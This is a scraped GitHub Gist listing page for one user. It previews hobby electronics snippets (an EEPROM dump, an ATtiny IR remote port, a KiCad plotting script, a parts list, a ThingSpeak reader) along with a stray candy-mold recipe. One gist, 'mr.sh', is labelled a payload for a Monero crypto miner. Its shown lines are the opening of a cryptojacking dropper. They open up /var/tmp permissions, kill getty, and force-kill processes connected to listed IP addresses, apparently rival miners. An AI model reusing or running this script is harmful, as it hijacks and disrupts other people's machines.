Skip to content

Instantly share code, notes, and snippets.

@5shekel
5shekel / weaver_dump_eeprom.ino
Last active November 11, 2018 21:12
dump of textile card
#include <stdint.h>
// Set MAX_ADDR to the largest address you need
// to read. For example, for the 27C512 chips,
// you'll want to use a MAX_ADDR of 65536.
// (That's 512 * 1024 / 8.)
// A 27C256 would be 256 kilobits, or 256 * 1024 / 8 =
// 32768.
#define MAX_ADDR 32768L
@5shekel
5shekel / mr.sh
Last active June 27, 2020 16:04
payload for monero crypto miner
#!/bin/bash
mkdir /var/tmp
chmod 777 /var/tmp
pkill -f getty
netstat -antp | grep '27.155.87.59' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '27.155.87.59' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'CLOSE_WAIT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '121.18.238.56' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
@5shekel
5shekel / zimmer-mailist.js
Created September 20, 2018 07:48
a form to subscribe to list
<div id="mc_embed_signup">
<form action="//zimmeramma.us9.list-manage.com/subscribe/post?u=5451b67137c5c418cd2b12858&amp;id=a00e351fb6" method="post" id="mc-embedded-subscribe-form" name="mc-embedded-subscribe-form" class="validate" target="_blank" novalidate>
<div id="mc_embed_signup_scroll">
<h2>Subscribe to zimmer mailing list</h2>
<div class="mc-field-group">
<label for="mce-EMAIL">Email Address </label>
<input type="email" value="" name="EMAIL" class="required email" id="mce-EMAIL">
</div>
<div id="mce-responses" class="clear">
<div class="response" id="mce-error-response" style="display:none"></div>
'''
A python script example to create plot files to build a board:
Gerber files
Drill files
source https://github.com/KiCad/kicad-source-mirror/blob/master/demos/python_scripts_examples/plot_board.py
additons via https://github.com/beagleboard/pocketbeagle/blob/master/kicad-scripts/kicad-fab.py
to use
$> python2 plot_gerber.py ../shnzn2svgExport/export.kicad_pcb
//see http://arduino.land/FAQ/content/6/32/en/passing-arrays-to-functions.html#pass-multi-by-pointer
int arr_3Da[1][2][3] {
{
{1, 2, 3},
{4, 5, 6}
}
};
@5shekel
5shekel / tiny_IRremote.cpp
Created March 1, 2018 11:08 — forked from SeeJayDee/tiny_IRremote.cpp
tiny_IRremote - Arduino IRremote ported to the ATtiny
/*
* tiny_IRremote
* Version 0.2 July, 2016
* Christian D'Abrera
* Fixed what was originally rather broken code from http://www.gammon.com.au/Arduino/
* ...itself based on work by Ken Shirriff.
*
* This code was tested for both sending and receiving IR on an ATtiny85 DIP-8 chip.
* IMPORTANT: IRsend only works from PB4 ("pin 4" according to Arduino). You will need to
* determine which physical pin this corresponds to for your chip, and connect your transmitter
@5shekel
5shekel / riot.ino
Last active November 1, 2017 06:53
/*
* words http://idiot.io
* code https://github.com/shenkarSElab/IRiot
*
* pin out attiny85
* NC --+----+-- VCC
* Touch --|* |-- NC
* IRsend --| |-- NC
* GND --+----+-- LED
*
BUILD YOUR OWN MOLDS
Yes, it’s possible to make gumdrops without using a silicone mold, but you’ll have to get crafty and make a mold. Cornstarch molds require some work and are a bit of a mess but are very useful if you want to create candy in a specific shape. Here’s what you will need:
- 8 pounds cornstarch
- 3 half sheet pans
- Wooden spoon or whisk with a handle ½ to ¾ inch in diameter
- Coconut oil, for coating candy
First, preheat the oven to 250°F. Next, pour 4 pounds of the cornstarch into a half sheet pan, then pack the cornstarch down by rapping the pan on the countertop. Set a second sheet pan on top of the cornstarch and press down on the pan to pack and level the cornstarch. If any cornstarch falls out of the pan, scoop it up, return it to the pan, and smooth it out again. Pour the remaining 4 pounds cornstarch into the third sheet pan and pack and level it the same way. Bake the cornstarch-filled sheet pans in the oven for 1½ hours.
@5shekel
5shekel / neo-ali-bom.txt
Last active November 19, 2017 15:10
aliexpress links for neopixel
https://www.aliexpress.com/item/100pcs-LOT-Blue-Light-Diode-1210-SMD-LED-Super-Bright-3528-LED-3-5-2-8mm/32821411982.html
https://www.aliexpress.com/item/100pcs-LOT-Red-Light-Diode-1210-SMD-LED-Super-Bright-3528-LED-3-5-2-8mm/32821451559.html
https://www.aliexpress.com/item/5-Values-100PCS-LOT-Super-Bright-3528-1210-SMD-LED-Red-Green-Blue-Yellow-White-20pcs/32798221267.html
https://www.aliexpress.com/item/220pcs-lot-free-shipping-2N7002-MOS-SOT-23-100-new-Original-Quality-Assurance/2029421500.html
https://www.aliexpress.com/item/Free-shipping-1206-SMD-capacitor-10UF-25V-106K-100PCS/32372423744.html
https://www.aliexpress.com/item/1206-104-100NF-0-1UF-1206-SMD-capacitance-SMD-capacitors-100PCS-LOT/2025043980.html
https://www.aliexpress.com/item/100pcs-lot-SMD-Chip-Resistor-1206-1K-1K-ohm-5-Free-shippng/32382933718.html
https://www.aliexpress.com/item/100pcs-lot-SMD-Chip-Resistor-1206-330R-330-ohm-5-Free-shippng/32383295862.html
https://www.aliexpress.com/item/100pcs-lot-SMD-Chip-Resistor-1206-22K-22K-ohm-5-Fre
@5shekel
5shekel / read_thingspeak.py
Last active January 19, 2018 20:53 — forked from rw950431/read_thingspeak.py
Read last update from thingspeak
#!/usr/bin/env python
import urllib2,json
CHANNEL_ID=203342
def main():
conn = urllib2.urlopen("http://api.thingspeak.com/channels/%s/feeds/last.json" % (CHANNEL_ID))
response = conn.read()
print "http status code=%s" % (conn.getcode())
data=json.loads(response)